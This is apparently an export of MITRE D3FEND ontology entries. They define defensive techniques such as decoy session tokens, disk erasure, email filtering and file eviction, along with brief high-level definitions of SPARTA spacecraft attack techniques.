definition: A Domain Name System (DNS) record is a record of information returned to clients seeking to find computers, services, and other resources connected to the Internet or a private network. Record information is stored on a domain name server so it can respond to DNS queries from clients.There are a variety of record types, depending on the client's information needs. Common types include Start of Authority, IP addresses, SMTP mail exchangers, name servers, reverse DNS lookup pointers, etc.
subclass of: Record

Data Acquisition Agent
type: Class
type: NamedIndividual
definition: A software component which connects to data sources to gather raw, time-stamped data. It often connects to databases or historian gateways for storage and analysis.
synonym: Data Gateway; Historian Collector
subclass of: Application

Data Dependency
type: Class
type: NamedIndividual
definition: A Data Dependency exists when a process, operation, or system requires specific data in order to execute correctly.
synonym: Transactional Dependency
subclass of: Dependency

Data Inventory
type: Class
type: NamedIndividual
d3fend-id: D3-DI
definition: Data inventorying identifies and records the schemas, formats, volumes, and locations of data stored and used on the organization's architecture.
inventories: Database
inventories: DocumentFile
kb-reference: Reference - Data processing and scanning systems for generating and populating a data inventory
synonym: Data Discovery
synonym: Data Inventorying
subclass of: Restriction
  on property: inventories
  some values from: DocumentFile
subclass of: Restriction
  on property: inventories
  some values from: Database
subclass of: AssetInventory

Database Service
type: Class
type: NamedIndividual
definition: A database service interacts with a database, either retrieving data through queries or making modifications to its contents.
executes: DatabaseQuery
manages: Database
subclass of: Restriction
  on property: manages
  some values from: Database
subclass of: Restriction
  on property: executes
  some values from: DatabaseQuery
subclass of: ServiceApplicationProcess

Decoy Public Release
type: Class
type: NamedIndividual
d3fend-id: D3-DPR
definition: Issuing publicly released media to deceive adversaries.
kb-article: ## How it works Publicly released media includes press release, videos, or other marketing collateral. The media may include URLs, points of contact, or other identifiers to entice interaction from adversaries. ## Considerations * Information used in decoy public released media must contain enough realism to deceive and provide interaction from adversaries. * Continuous development, creation, and distribution of media and identifiers are needed to ensure adversary interaction continues over time. * Decoy public releases could be placed on platforms with different degrees of ownership, including entirely enterprise-owned infrastructure, IaaS, and SaaS (including social applications). Platforms that are not entirely enterprise-owned may be more likely to gather information
kb-reference: Reference - Mock attack cybersecurity training system and methods - WOMBAT SECURITY TECHNOLOGIES Inc
subclass of: DecoyObject

Decoy Session Token
type: Class
type: NamedIndividual
d3fend-id: D3-DST
definition: An authentication token created for the purposes of deceiving an adversary.
kb-article: ## How it works Usage of decoy session tokens may be monitored to track attacker behavior or otherwise control the beliefs of the attacker. ## Considerations * Interaction and activity with the decoy session token must be constantly monitored and analyzed to detect unauthorized activity. * Session tokens are typically short-lived and therefore the decoy must be continuously updated to provide the appearance of it being used in the production environment. * Automated tools can assist with maintenance and updates by automatically adjusting the decoy session token and environment to mimic the production environment.
kb-reference: Reference-DecoyAndDeceptiveDataObjectTechnology CymmetriaInc
spoofs: SessionToken
subclass of: Restriction
  on property: spoofs
  some values from: SessionToken
subclass of: DecoyObject

Deep Neural Network Classification
type: Class
type: NamedIndividual
d3fend-id: D3A-DNNC
definition: A deep neural network (DNN) is an artificial neural network (ANN) with multiple layers between the input and output layers. There are different types of neural networks but they always consist of the same components: neurons, synapses, weights, biases, and functions. These components as a whole function similarly to a human brain, and can be trained like any other ML algorithm
kb-article: ## References Deep learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Deep_learning).
subclass of: Artificial Neural Network Classification

Delete File
type: Class
type: NamedIndividual
definition: Remove a file from a machine.
deletes: File
subclass of: Restriction
  on property: deletes
  some values from: File
subclass of: SystemCall

Deserialization Function
type: Class
type: NamedIndividual
definition: Function with an input of serialized data which deserializes that data, usually with data parsing methods.
subclass of: Subroutine

Digital Image
type: Class
definition: A digital image is a pixel-based visual representation stored in formats like JPEG or PNG, used for various digital applications.
subclass of: DigitalMedia

Directional Network Link
type: Class
type: NamedIndividual
d3fend-id: D3-DNL
definition: Enforce one-way network communication by preventing two-way communication.
kb-article: ## How it works Using a device such as a data diode, or otherwise enforcing unidirectional (one-way) network communication / data transfer, to physically prevent signals from traveling in the reverse direction. Unidirectional network link enforcement is a security measure used to separate control and safety systems in operational technology (OT) environments. By employing physical data diodes, this approach ensures one-way communication, allowing information from safety systems to be viewed without permitting any modification or interference, thereby protecting the integrity of the safety system.
kb-reference: Reference - Secure one-way data transfer using communication interface circuitry
restricts: PhysicalLink
uses: PhysicalDataDiode
subclass of: Restriction
  on property: uses
  some values from: PhysicalDataDiode
subclass of: Restriction
  on property: restricts
  some values from: PhysicalLink
subclass of: NetworkIsolation

Disk Erasure
type: Class
type: NamedIndividual
d3fend-id: D3-DKE
definition: Disk Erasure is the process of securely deleting all data on a disk to ensure that it cannot be recovered by any means.
erases: SecondaryStorage
kb-article: ### How it works Disk Erasure involves overwriting the existing data with random or specific patterns multiple times. Disk erasure is crucial for data sanitization, ensuring that sensitive information is completely removed from storage devices before they are repurposed, disposed of, or transferred to another party.
kb-reference: Reference-Remembranceofdatapassed:Astudyofdisksanitizationpractices
subclass of: Restriction
  on property: erases
  some values from: SecondaryStorage
subclass of: DiskFormatting

Disk Partitioning
type: Class
type: NamedIndividual
creates: PartitionTable
d3fend-id: D3-DKP
definition: Disk Partitioning is the process of dividing a disk into multiple distinct sections, known as partitions.
kb-article: ### How it works Each partition can be managed separately and can have its own file system. Disk partitioning can be used to segregate sensitive data from less critical data, improve system performance, and enhance data management and recovery processes. It can also help in isolating different operating systems or environments on the same physical disk.
kb-reference: Reference-Remembranceofdatapassed:Astudyofdisksanitizationpractices
subclass of: Restriction
  on property: creates
  some values from: PartitionTable
subclass of: DiskFormatting

Display Adapter
type: Class
type: NamedIndividual
definition: A graphics card (also called a display card, video card, display adapter, or graphics adapter) is an expansion card which generates a feed of output images to a display device (such as a computer monitor). Frequently, these are advertised as discrete or dedicated graphics cards, emphasizing the distinction between these and integrated graphics. At the core of both is the graphics processing unit (GPU), which is the main part that does the actual computations, but should not be confused with the video card as a whole, although "GPU" is often used to refer to video cards.
subclass of: OutputDevice
alternative label: Display Card
alternative label: Graphics Adapter
alternative label: Video Card

Display Server
type: Class
type: NamedIndividual
definition: A display server or window server is a program whose primary task is to coordinate the input and output of its clients to and from the rest of the operating system, the hardware, and each other. The display server communicates with its clients over the display server protocol, a communications protocol, which can be network-transparent or simply network-capable. The display server is a key component in any graphical user interface, specifically the windowing system.
subclass of: DigitalInformationBearer
alternative label: Window Server

Domain Logic Validation
type: Class
type: NamedIndividual
d3fend-id: D3-DLV
definition: Validation of variable state in the context of the domain application.
kb-article: ## How it works Validates the type, value, and/or range of an variable taking into context the current application in the business domain.
validates: Subroutine
subclass of: Restriction
  on property: validates
  some values from: Subroutine
subclass of: SourceCodeHardening

Domain Registration Takedown
type: Class
type: NamedIndividual
d3fend-id: D3-DRT
definition: The process of performing a takedown of the attacker's domain registration infrastructure.
deletes: DomainRegistration
kb-article: ## How it works Most nameserver hosts and domain name registrars comply with internationally recognised standards and supply their services based on terms and conditions that provide users and organisations protection from abuse and trademark infringement. Performing a WHOIS query on the attacker's domain will provide a contact that can be notified in the case of abuse. Formal takedown processes should be initiated to suspend or disable the normal function of the domain name. ## Considerations - Takedown notifications should clearly demonstrate (with evidence) that the nameserver or registrars Terms and Conditions have been breached. - Takedown processes are notoriously slow and sometimes unsuccessful. - Many government organisations will have takedown processes that should also be followed. They may use this for intelligence to assist other organisations suffering an attack. - Top level domain registrars will have takedown processes that can be followed, as an escalation path, when the nameserver host and/or registrar have not responded or complied timeously or inline with the TLD expectations. ## Examples of Domain Registration Abuse Attackers will create infrastructure from which to carry out their operations and this may include registering domain names to be used in the various attacks. Known misuse cases include: - Registering domain names that are similar to the victim's. This is known as typosquatting or URL hijacking. Legitimate looking mails or URLs could be sent using this domain in phishing campaigns. - Registring domain names that are used in C2 beacons.
kb-reference: Reference - Understanding the Domain Registration Behavior of Spammers
subclass of: Restriction
  on property: deletes
  some values from: DomainRegistration
subclass of: ObjectEviction

Replay - SPARTA
type: Class
attack-id: EX-0001
definition: Replay attacks involve threat actors recording previously recorded data streams and then resending them at a later time. This attack can be used to fingerprint systems, gain elevated privileges, or even cause a denial of service.
subclass of: SPARTAExecutionTechnique
preferred label: Replay

Exploit Hardware/Firmware Corruption - SPARTA
type: Class
attack-id: EX-0005
definition: Threat actors can target the underlying hardware and/or firmware using various TTPs that will be dependent on the specific hardware/firmware. Typically, software tools (e.g., antivirus, antimalware, intrusion detection) can protect a system from threat actors attempting to take advantage of those vulnerabilities to inject malicious code. However, there exist security gaps that cannot be closed by the above-mentioned software tools since they are not stationed on software applications, drivers or the operating system but rather on the hardware itself. Hardware components, like memory modules and caches, can be exploited under specific circumstances thus enabling backdoor access to potential threat actors. In addition to hardware, the firmware itself which often is thought to be software in its own right also provides an attack surface for threat actors. Firmware is programming that's written to a hardware device's non-volatile memory where the content is saved when a hardware device is turned off or loses its external power source. Firmware is written directly onto a piece of hardware during manufacturing and it is used to run on the device and can be thought of as the software that enables hardware to run. In the spacecraft context, firmware and field programmable gate array (FPGA)/application-specific integrated circuit (ASIC) logic/code is considered equivalent to firmware.
subclass of: SPARTAExecutionTechnique
preferred label: Exploit Hardware/Firmware Corruption

Time Synchronized Execution - SPARTA
type: Class
attack-id: EX-0008
definition: Threat actors may develop payloads or insert malicious logic to be executed at a specific time.
subclass of: SPARTAExecutionTechnique
preferred label: Time Synchronized Execution

Flooding - SPARTA
type: Class
attack-id: EX-0013
definition: Threat actors use flooding attacks to disrupt communications by injecting unexpected noise or messages into a transmission channel. There are several types of attacks that are consistent with this method of exploitation, and they can produce various outcomes. Although, the most prominent of the impacts are denial of service or data corruption. Several elements of the spacecraft may be targeted by jamming and flooding attacks, and depending on the time of the attack, it can have devastating results to the availability of the system.
subclass of: SPARTAExecutionTechnique
preferred label: Flooding

Kinetic Physical Attack - SPARTA
type: Class
attack-id: EX-0017
definition: Kinetic physical attacks attempt to damage or destroy space- or land-based space assets. They typically are organized into three categories: direct-ascent, co-orbital, and ground station attacks [beyond the focus of SPARTA at this time]. The nature of these attacks makes them easier to attribute and allow for better confirmation of success on the part of the attacker.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: SPARTAExecutionTechnique
preferred label: Kinetic Physical Attack

Signal Interception - SPARTA
type: Class
attack-id: EXF-0003
definition: Threat actors may seek to capture network communications throughout the ground station and communication channel (i.e. radio frequency, optical) used for uplink and downlink communications
subclass of: SPARTAExfiltrationTechnique
preferred label: Signal Interception

Modify Communications Configuration - SPARTA
type: Class
attack-id: EXF-0006
definition: Threat actors can manipulate communications equipment, modifying the existing software, hardware, or the transponder configuration to exfiltrate data via unintentional channels the mission has no control over.
subclass of: SPARTAExfiltrationTechnique
preferred label: Modify Communications Configuration

Email Filtering
type: Class
type: NamedIndividual
d3fend-id: D3-EF
definition: Filtering incoming email traffic based on specific criteria.
filters: Email
kb-article: ## How it works Mail filters can be implemented to scan inbound email messages at the initial SMTP connection stage to detect and reject email containing spam and malware. This technique is distinct from d3f:EmailDeletion because it prevents an email from reaching an user's inbox. This technique can also be used for outbound email traffic. ## Considerations * The effectiveness of mail filters depend on the completeness of the filter policies
kb-reference: Reference - System and method for providing anonymous remailing and filtering of electronic mail - Nokia
subclass of: Restriction
  on property: filters
  some values from: Email
subclass of: InboundTrafficFiltering

Email Removal
type: Class
type: NamedIndividual
d3fend-id: D3-ER
definition: The email removal technique deletes email files from system storage.
deletes: Email
kb-article: ## How it works Email removal is a technique that can be used to prevent a user from executing malware or responding to phishing attempts. Security software or users themselves may detect malicious or suspicious email in a local or remote mail folder email and then employ this technique. ## Considerations For email that needs to be removed, an infosec organization may choose to take additional follow-up actions (such as blocking the sources or notifying providers), rather than only relying on email deletion. For the case where users detect likely suspicious email files, the organization should consider implementing a means for reporting these emails to their infosec organization. Email files may propagate through many storage systems across the an organization's systems over time, so early detection and blocking helps avoid residual, latent stores of malicous email content in the enterprise.
kb-reference: Reference - System and method for scanning remote services to locate stored objects with malware
may-access: MailServer
synonym: Email Deletion
subclass of: Restriction
  on property: may-access
  some values from: MailServer
subclass of: Restriction
  on property: deletes
  some values from: Email
subclass of: File Eviction

Equivalence Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-EM
definition: Equivalence matching is matching two values, which may be bound to variables, to see if they are equivalent.
kb-article: ## How it works Equality is a relationship between two quantities or, more generally two mathematical expressions, asserting that the quantities have the same value, or that the expressions represent the same mathematical object. Programming languages can have multiple senses of equality that may include, but are not limited to: - Identity: The objects are identical; often indicated by having values indicating the same logical address. - Equality: The values of the expessions and properties are equivalent when evaluated; they do not need to have the same logical address. ## References 1. Equality (mathematics). (2023, May 31). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Equality_(mathematics)] 2. Types of Equality. (2007, March 2). In _WikiWikiWeb_. [Link](https://wiki.c2.com/?TypesOfEquality)
subclass of: LogicalRules

Estimation
type: Class
type: NamedIndividual
d3fend-id: D3A-EST
definition: Estimation represents ways or a process of learning and determining the population parameter based on the model fitted to the data.
kb-article: ## References Pennsylvania State University. (n.d.). Statistical Inference and Estimation. [Link](https://online.stat.psu.edu/stat504/lesson/statistical-inference-and-estimation)
subclass of: InferentialStatistics

Event Log Start Event
type: Class
definition: An event where the event logging service is started, enabling the collection and recording of system events.
subclass of: EventLogEvent

Exec
type: Class
type: NamedIndividual
executes: ExecutableBinary
subclass of: Restriction
  on property: executes
  some values from: ExecutableBinary
subclass of: SystemCall

External Content Inclusion Function
type: Class
type: NamedIndividual
accesses: File
definition: A subroutine which handles a content inclusion directive from an original file. When invoked, the external content is included in the resulting open file.
subclass of: Restriction
  on property: accesses
  some values from: File
subclass of: Subroutine

External Control Thing
type: Class
subclass of: ExternalThing

File Carving
type: Class
type: NamedIndividual
analyzes: FileTransferNetworkTraffic
d3fend-id: D3-FC
definition: Identifying and extracting files from network application protocols through the use of network stream reassembly software.
kb-article: ## How it works Protocol stream reassembly software recreates a directional byte stream by analyzing captured network packets. Once the stream is reassembled pattern matching is applied to determine if it contains a file of interest. Files of interest range from executable, archive, or document file formats. Once the file is captured, it is then processed with standard File Analysis Techniques. Example network protocols include HTTP, SMTP, FTP, HTTP/2, and TLS/HTTP/Dropbox. ## Considerations - This is an error prone process due to the intricacies of network protocols and network packet capture. For example reassembly may be done in real-time or streaming fashion, or packets may be written to disk, then bulk processed. The packets may arrive out of order, with fragmentation, duplicates, or re-transmissions. The reassembly software must compensate for the imperfect packet stream in order to recreate the well formed file which was transmitted. - File type identification can be a difficult process which can be exploited by adversaries.
kb-reference: Reference - Computer Worm Defense System and Method - FireEye Inc
subclass of: Restriction
  on property: analyzes
  some values from: FileTransferNetworkTraffic
subclass of: NetworkTrafficAnalysis

File Creation Analysis
type: Class
type: NamedIndividual
analyzes: CreateFile
d3fend-id: D3-FCA
definition: Analyzing the properties of file create system call invocations.
kb-reference: Reference - CAR-2020-09-001: Scheduled Task - FileAccess - MITRE
kb-reference: Reference-LsassProcessDumpViaProcdump MITRE
subclass of: Restriction
  on property: analyzes
  some values from: CreateFile
subclass of: SystemCallAnalysis

File Eviction
type: Class
type: NamedIndividual
d3fend-id: D3-FEV
definition: File eviction techniques delete files from system storage.
deletes: File
kb-article: ## How it works Adversaries may place files or programs into a computer's file system to perform malicious actions. As part of the eviction process, these files and programs should be removed to prevent further compromise or reinfection. Examples of malicious types of files are malware which is directly harmful and content files with the intent to deceive users (e.g., phishing.) On Windows systems, antivirus (AV) software should be used to safely and permanently remove malicious files. AV software may first quarantine a suspected malicious file, which is the process of moving a file from its original location to a new location and makes changes so that it cannot be executed. Users can then verify that the file is not benign and then permanently delete it. ## Considerations When it is determined that a file should be removed for security purposes, the organization--or systems implementing an organization's policies--may determine that the file should not simply be deleted from the enterprise's mission systems, but be quarantined to a secure system by an approved mechanism, so as to allow follow-up investigation by security staff. On Windows systems, deleting a file in File Explorer does not permanently delete a file - it sends it to the Recycle Bin instead. The Recycle Bin must be emptied, or alternative steps must be performed to remove files completely. Even then, in some cases the data may persist in disk, so data shredder tools may be needed to completely wipe a file. Thus, AV tools are recommended.
kb-reference: Reference - How Does Antivirus Quarantine Work? - Safety Detectives
subclass of: ObjectEviction